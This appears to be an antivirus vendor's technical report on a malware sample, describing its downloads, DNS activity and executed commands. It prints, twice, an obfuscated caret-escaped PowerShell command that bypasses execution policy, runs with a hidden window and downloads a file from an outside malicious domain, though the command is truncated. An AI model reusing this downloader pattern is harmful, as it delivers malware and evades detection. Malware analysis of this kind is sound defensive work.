Technical Information
Malicious functions
Downloads and executes
- http://www.zoerpoled.top/read.php?f=1.gif as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "p^OwERShelL^.e^x^e^ -exECU^tIo^np^oLicy by^pASs^ -^n^oP^R^oFILe^ -w^I^n^D^Ow^StYlE^ Hi^dden ^(^N^EW^-OBj^e^ct syST^eM.n^ET^.^We^Bc^LIent)^.doW^nloAD^fil^E('http://www.zoerpole...
Network activity
UDP
- DNS ASK zo###oled.top
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /C "p^OwERShelL^.e^x^e^ -exECU^tIo^np^oLicy by^pASs^ -^n^oP^R^oFILe^ -w^I^n^D^Ow^StYlE^ Hi^dden ^(^N^EW^-OBj^e^ct syST^eM.n^ET^.^We^Bc^LIent)^.doW^nloAD^fil^E('http://www.zoerpole...' (with hidden window)
